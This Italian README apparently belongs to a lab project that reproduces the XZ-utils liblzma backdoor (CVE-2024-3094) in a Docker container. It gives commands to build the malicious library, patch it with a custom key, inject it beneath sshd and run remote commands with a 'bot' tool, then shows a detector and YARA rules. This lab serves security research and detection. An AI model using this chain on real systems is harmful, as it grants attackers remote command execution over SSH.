
Una vulnerabilità backdoor XZ spiegata in dettaglio
Questo progetto analizza la backdoor di alto profilo scoperta in xz-utils (liblzma), che interessa le versioni 5.6.0 e 5.6.1. Il codice dannoso introdotto nel sistema di build upstream prendeva di mira l'autenticazione SSH modificando il modo in cui sshd interagisce con la libreria di compressione LZMA in fase di esecuzione.
⚠️ Questo progetto è esclusivamente a scopo di ricerca educativa e difensiva.
Clona questo repository
git clone https://github.com/valeriot30/cve-2024-3094
Naviga nella directory
cd cve-2024-3094
Avvia il container docker
docker build -t fedora-dev .
docker run --privileged -it --rm -p 2222:22 fedora-dev
Ottieni una versione dannosa della libreria
cd ~
git clone https://github.com/thesamesam/xz-archive.git
cd xz-archive/5.6/ # The vulnerable version ( it works as well with 5.6.1 )
tar xzf xz-5.6.0.tar.gz
mv xz-5.6.0 ~
Esporta il target di build
export RPM_ARCH=$(uname -m)
Compila la libreria dannosa
cd ~
cd ./xz-5.6.0/
./configure
make -j 8
Copia il file SO dannoso all'esterno:
cp ./src/liblzma/.libs/liblzma.so.5.6.0 ~
Clona nuovamente il repository all'interno del container
git clone https://github.com/valeriot30/cve-2024-3094
Applica la patch alla libreria liblzma con una chiave personalizzata
python3 cve-2024-3094/patch.py liblzma.so.5.6.0
Collega la libreria dannosa nel sistema
sh cve-2024-3094/inject.sh
Esegui sshd collegato alla libreria dannosa
env -i LANG=C /usr/sbin/sshd -D &
Clona questo repository
git clone https://github.com/valeriot30/cve-2024-3094
Naviga nella directory
cd cve-2024-3094
Compila lo strumento GO
go build
Usa lo strumento inserendo l'indirizzo IP della macchina vulnerabile e il comando da eseguire
./bot -addr 127.0.0.2:2222 -cmd 'sleep 60'
Esegui il detector
sh detector.sh
Usa le regole di corrispondenza yara
yara rule.yar ../liblzma.so.5.6.0 -s